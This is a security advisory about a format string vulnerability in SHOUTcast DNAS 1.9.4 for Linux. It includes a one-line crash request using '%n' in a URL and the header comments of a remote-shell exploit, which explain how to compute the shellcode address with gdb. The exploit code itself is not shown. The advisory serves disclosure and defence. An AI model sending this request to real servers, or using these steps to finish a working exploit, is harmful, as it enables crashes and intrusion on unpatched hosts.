SHOUTcast is "Nullsoft's Free WinAMP-based distributed streaming audio system. Thousands of broadcasters around the world are waiting for you to tune in and listen". A format string vulnerability in SHOUTcast allows remote attackers to cause the program to execute arbitrary code.
Credit:
The information has been provided by Damian Put.
Remote exploitation of a format string vulnerability could allow execution of arbitrary code.
A part of request, which was sent by attacker to server, would be included in second arg of sprintf() function (0x0804adc3 in Linux binary). It is obviously not good from a security viewpoint. We can crash SHOUTcast in a very easy way, using following request: http://host:8000/content/%n.mp3
Or reach remote shell thanks to attached exploit's code.
Exploit:
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org) */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */
/* When exploit only crash SHOUTcast we should calculate new address: */
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */